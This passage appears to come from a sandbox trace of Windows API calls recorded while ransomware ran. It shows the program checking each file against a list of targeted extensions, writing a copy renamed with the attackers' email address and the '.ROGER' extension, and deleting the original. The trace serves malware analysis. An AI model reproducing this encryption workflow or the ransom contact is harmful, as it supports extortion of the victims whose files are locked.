hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x53b, lpOverlapped=0x0) returned 1 [0048.941] WriteFile (in: hFile=0x3ac, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x540, lpOverlapped=0x0) returned 1 [0048.942] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.943] WriteFile (in: hFile=0x3ac, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.943] SetEndOfFile (hFile=0x3ac) returned 1 [0048.943] CloseHandle (hObject=0x3ac) returned 1 [0048.943] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.943] SetEndOfFile (hFile=0x3dc) returned 1 [0048.944] CloseHandle (hObject=0x3dc) returned 1 [0048.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.944] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0048.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.944] lstrlenW (lpString=".doc") returned 4 [0048.944] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.944] lstrlenW (lpString=".docx") returned 5 [0048.944] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.944] lstrlenW (lpString=".pdf") returned 4 [0048.944] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.944] lstrlenW (lpString=".xls") returned 4 [0048.944] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.945] lstrlenW (lpString=".xlsx") returned 5 [0048.945] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.945] lstrlenW (lpString=".ppt") returned 4 [0048.945] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.945] lstrlenW (lpString=".zip") returned 4 [0048.945] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.945] lstrlenW (lpString=".rar") returned 4 [0048.945] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.945] lstrlenW (lpString=".bz2") returned 4 [0048.945] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.945] lstrlenW (lpString=".7z") returned 3 [0048.945] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.945] lstrlenW (lpString=".dbf") returned 4 [0048.945] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.945] lstrlenW (lpString=".1cd") returned 4 [0048.945] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.945] lstrlenW (lpString=".jpg") returned 4 [0048.945] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.945] lstrlenW (lpString=".doc") returned 4 [0048.945] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.945] lstrlenW (lpString=".docx") returned 5 [0048.945] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.945] lstrlenW (lpString=".pdf") returned 4 [0048.945] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.945] lstrlenW (lpString=".xls") returned 4 [0048.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.946] lstrlenW (lpString=".xlsx") returned 5 [0048.946] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.946] lstrlenW (lpString=".ppt") returned 4 [0048.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.946] lstrlenW (lpString=".zip") returned 4 [0048.946] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.946] lstrlenW (lpString=".rar") returned 4 [0048.946] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.946] lstrlenW (lpString=".bz2") returned 4 [0048.946] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.946] lstrlenW (lpString=".7z") returned 3 [0048.946] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.946] lstrlenW (lpString=".dbf") returned 4 [0048.946] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.946] lstrlenW (lpString=".1cd") returned 4 [0048.946] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0048.946] lstrlenW (lpString=".jpg") returned 4 [0048.946] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.946] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.946] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.048] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=15737) returned 1 [0049.048] CloseHandle (hObject=0x3dc) returned 1 [0049.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0049.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.048] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.048] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0049.048] GetLastError () returned 0x0 [0049.048] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0049.050] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0049.051] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.051] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.052] SetEndOfFile (hFile=0x3a0) returned 1 [0049.052] CloseHandle (hObject=0x3a0) returned 1 [0049.052] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.052] SetEndOfFile (hFile=0x3dc) returned 1 [0049.053] CloseHandle (hObject=0x3dc) returned 1 [0049.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.053] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0049.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.053] lstrlenW (lpString=".doc") returned 4 [0049.053] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.053] lstrlenW (lpString=".docx") returned 5 [0049.053] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.053] lstrlenW (lpString=".pdf") returned 4 [0049.053] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.053] lstrlenW (lpString=".xls") returned 4 [0049.053] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.053] lstrlenW (lpString=".xlsx") returned 5 [0049.053] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.054] lstrlenW (lpString=".ppt") returned 4 [0049.054] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.054] lstrlenW (lpString=".zip") returned 4 [0049.054] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.054] lstrlenW (lpString=".rar") returned 4 [0049.054] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.054] lstrlenW (lpString=".bz2") returned 4 [0049.054] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.054] lstrlenW (lpString=".7z") returned 3 [0049.054] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.054] lstrlenW (lpString=".dbf") returned 4 [0049.054] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.054] lstrlenW (lpString=".1cd") returned 4 [0049.054] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.054] lstrlenW (lpString=".jpg") returned 4 [0049.054] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.054] lstrlenW (lpString=".doc") returned 4 [0049.054] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.054] lstrlenW (lpString=".docx") returned 5 [0049.054] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.054] lstrlenW (lpString=".pdf") returned 4 [0049.054] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.054] lstrlenW (lpString=".xls") returned 4 [0049.054] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.054] lstrlenW (lpString=".xlsx") returned 5 [0049.054] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.055] lstrlenW (lpString=".ppt") returned 4 [0049.055] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.055] lstrlenW (lpString=".zip") returned 4 [0049.055] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.055] lstrlenW (lpString=".rar") returned 4 [0049.055] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.055] lstrlenW (lpString=".bz2") returned 4 [0049.055] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.055] lstrlenW (lpString=".7z") returned 3 [0049.055] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.055] lstrlenW (lpString=".dbf") returned 4 [0049.055] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.055] lstrlenW (lpString=".1cd") returned 4 [0049.055] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0049.055] lstrlenW (lpString=".jpg") returned 4 [0049.055] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.055] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.055] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.056] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3611) returned 1 [0049.056] CloseHandle (hObject=0x3dc) returned 1 [0049.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0049.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.056] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.056] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0049.058] GetLastError () returned 0x0 [0049.058] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0049.066] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0049.067] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.067] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.067] SetEndOfFile (hFile=0x3a0) returned 1 [0049.067] CloseHandle (hObject=0x3a0) returned 1 [0049.067] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.067] SetEndOfFile (hFile=0x3dc) returned 1 [0049.068] CloseHandle (hObject=0x3dc) returned 1 [0049.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.068] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0049.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.069] lstrlenW (lpString=".doc") returned 4 [0049.069] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.069] lstrlenW (lpString=".docx") returned 5 [0049.069] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.069] lstrlenW (lpString=".pdf") returned 4 [0049.069] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.069] lstrlenW (lpString=".xls") returned 4 [0049.069] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.069] lstrlenW (lpString=".xlsx") returned 5 [0049.069] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.069] lstrlenW (lpString=".ppt") returned 4 [0049.069] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.069] lstrlenW (lpString=".zip") returned 4 [0049.069] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.069] lstrlenW (lpString=".rar") returned 4 [0049.069] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.069] lstrlenW (lpString=".bz2") returned 4 [0049.069] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.069] lstrlenW (lpString=".7z") returned 3 [0049.069] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.069] lstrlenW (lpString=".dbf") returned 4 [0049.069] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.070] lstrlenW (lpString=".1cd") returned 4 [0049.070] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.070] lstrlenW (lpString=".jpg") returned 4 [0049.070] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.070] lstrlenW (lpString=".doc") returned 4 [0049.070] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.070] lstrlenW (lpString=".docx") returned 5 [0049.070] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.070] lstrlenW (lpString=".pdf") returned 4 [0049.070] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.070] lstrlenW (lpString=".xls") returned 4 [0049.070] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.070] lstrlenW (lpString=".xlsx") returned 5 [0049.070] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.070] lstrlenW (lpString=".ppt") returned 4 [0049.070] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.070] lstrlenW (lpString=".zip") returned 4 [0049.070] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.070] lstrlenW (lpString=".rar") returned 4 [0049.070] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.070] lstrlenW (lpString=".bz2") returned 4 [0049.070] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.070] lstrlenW (lpString=".7z") returned 3 [0049.070] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.070] lstrlenW (lpString=".dbf") returned 4 [0049.070] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.071] lstrlenW (lpString=".1cd") returned 4 [0049.071] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0049.071] lstrlenW (lpString=".jpg") returned 4 [0049.071] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.071] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.071] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.071] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=34163) returned 1 [0049.071] CloseHandle (hObject=0x3dc) returned 1 [0049.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0049.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.072] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.072] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0049.072] GetLastError () returned 0x0 [0049.072] ReadFile (in: hFile=0x3dc, 